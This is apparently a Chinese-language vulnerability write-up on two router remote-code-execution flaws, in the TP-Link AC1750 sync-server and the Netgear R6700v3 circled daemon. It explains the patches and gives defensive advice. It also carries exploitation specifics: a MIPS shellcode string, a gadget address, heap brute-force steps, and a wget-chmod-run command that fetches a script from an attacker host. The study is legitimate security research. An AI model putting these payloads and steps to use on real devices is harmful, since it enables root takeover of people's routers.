TP-LINK AC1750 路由器与 NETGEAR R6700V3 路由器漏洞解析
字数 2506 2025-08-23 18:31:08
TP-LINK AC1750与NETGEAR R6700V3路由器漏洞分析与利用教学文档
1. TP-LINK AC1750路由器漏洞分析
1.1 漏洞概述
- 漏洞类型:LAN侧未授权远程代码执行(RCE)
- 影响进程:sync-server进程
- 攻击路径:通过tdpServer发送恶意数据触发sync-server中的堆溢出
- 权限级别:root权限
- CVE编号:ZDI-21-215
1.2 漏洞环境搭建
1.2.1 硬件准备
- 测试设备:TP-Link C7 v5或TP-Link A7 v5路由器
- UART调试接口:需要焊接TX引脚到正确的PCB走线
1.2.2 工具链准备
- 使用buildroot创建MIPS32大端序工具链
- 关键配置:
BR2_MIPS_SOFT_FLOAT=y BR2_TOOLCHAIN_BUILDROOT_LIBC="musl" - 编译必要工具:gdbserver、strace和busybox
1.2.3 固件降级
- TP-Link不防止固件降级,可降级到有漏洞的版本进行研究
1.3 漏洞技术分析
1.3.1 TDP协议分析
- 服务端口:UDP 20002
- 协议特点:
- 专有TDP协议
- 部分数据包使用硬编码AES密钥或固定XOR加密
- 数据包头部固定大小,payload为JSON格式
1.3.2 关键数据包类型
- type字段:0xF8 (OneMesh)
- opcode字段:0x0007 (slave_key_offer)
1.3.3 漏洞触发路径
- tdpServer接收恶意数据包
- 数据写入共享内存(SHM)
- sync-server定时读取SHM数据
_handle_request_clients_async函数调用onemesh_listDevices解析数据- 数据复制到64大小的堆栈数组时不检查边界
1.3.4 溢出细节
- 漏洞函数:
onemesh_listDevices - 溢出条件:SHM包含超过32个devices
- 覆盖目标:堆栈中的
$fp和$ra寄存器
1.4 漏洞利用技术
1.4.1 ASLR绕过
- 堆段权限为RWX
$ra从指向mac字段的指针恢复,直接指向可控数据
1.4.2 Shellcode构造限制
- JSON解析器限制字符范围
- mac地址大小限制为17字节
- 使用unicode编码(
\u00xx)扩展可用字节范围
1.4.3 关键利用点
-
使用固定地址的
system()函数- 二进制未启用PIE
- system调用操作码:
0C 10 07 14(jal system)
-
寄存器控制
$s2寄存器指向可控ip值- 使用
move $a0, $s2将可控数据传入$a0
1.4.4 最终shellcode
\u000c\u0010\u0007\u0014\u0002\u0040\u0020\u0025
1.4.5 利用流程
- 发送50个恶意数据包到tdpServer
- 每个mac地址附加唯一ID避免去重
- 使用"cmd;num_id"作为ip值
- 等待80秒让sync-server处理数据
1.4.6 远程shell获取
- 通过TDDP调试守护程序获取shell
- 执行命令下载并执行攻击脚本:
wget http://attacker_ip:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh
1.5 漏洞修复方案
- 补丁关键修改:在漏洞函数中添加数组边界检查
- 使用计数器V10限制IP和Mac数量,防止溢出
2. NETGEAR R6700V3路由器漏洞分析
2.1 漏洞概述
- 漏洞类型:WAN侧未授权远程代码执行(RCE)
- 影响组件:/bin/circled守护程序
- 攻击路径:通过恶意circleinfo.txt文件触发缓冲区溢出
- 权限级别:root权限
- CVE编号:CVE-2022-27646、CVE-2022-27644
2.2 漏洞环境
- 受影响固件版本:R6700v3-V1.0.4.120_10.0.91
- 守护程序SHA1:ac86472cdeccd01165718b1b759073b9e6b665e9
2.3 漏洞技术分析
2.3.1 更新机制
- 主程序fork后,子进程负责更新
- 启动时检查更新,之后每两小时检查一次
- 进程崩溃会自动重启
2.3.2 漏洞函数
- 函数地址:0xCE38 (updating_database)
- 漏洞文件:/tmp/circleinfo.txt
- 漏洞类型:堆栈缓冲区溢出
2.3.3 溢出细节
- line变量大小:1024字节
- 实际写入变量(db_checksum_val和db_checksum):256字节
- 无边界检查导致溢出
2.3.4 文件获取
- 函数地址:0xE2D8 (retrieve_circleinfo_txt)
- 下载方式:通过curl -k选项不验证证书下载
- 更新服务器URL可被劫持
2.4 漏洞利用技术
2.4.1 初始验证
- 配置自定义DNS服务器重定向更新请求
- 提供包含1000个'A'的恶意文件
- 观察circled崩溃并重启
2.4.2 利用限制
- 堆栈不可执行
- ASLR部分启用
- 二进制未启用PIE,代码位于固定地址0x8000
- sscanf读取限制:不能有空字节、空格或回车
2.4.3 关键gadget
- 地址:0xEC78
- 功能:通过控制R4寄存器间接控制R0
- 计算公式:R0 = R4 + R2 (R2固定为0xFFFF7954)
2.4.4 堆爆破技术
- 将命令放在字符串末尾
- 以256字节步长爆破堆地址
- 利用进程崩溃自动重启特性多次尝试
2.4.5 最终利用
- 构造恶意circleinfo.txt文件
- 包含gadget地址和R4寄存器值
- 通过curl下载并执行反向shell
2.5 漏洞修复方案
- 从curl命令行删除-k选项,强制证书验证
- 修改解析器添加边界检查
3. 总结与防护建议
3.1 漏洞共性
- 都涉及未授权远程代码执行
- 都通过解析外部输入触发缓冲区溢出
- 都因缺乏输入验证导致漏洞
3.2 防护建议
- 输入验证:对所有外部输入进行严格边界检查
- 安全编译:启用PIE、堆栈保护等安全编译选项
- 权限分离:服务以最小必要权限运行
- 证书验证:HTTPS请求必须验证证书
- 及时更新:安装厂商发布的安全补丁
3.3 研究价值
- 展示了嵌入式设备常见漏洞模式
- 提供了从LAN和WAN侧攻陷路由器的完整路径
- 演示了在受限环境下的高级利用技术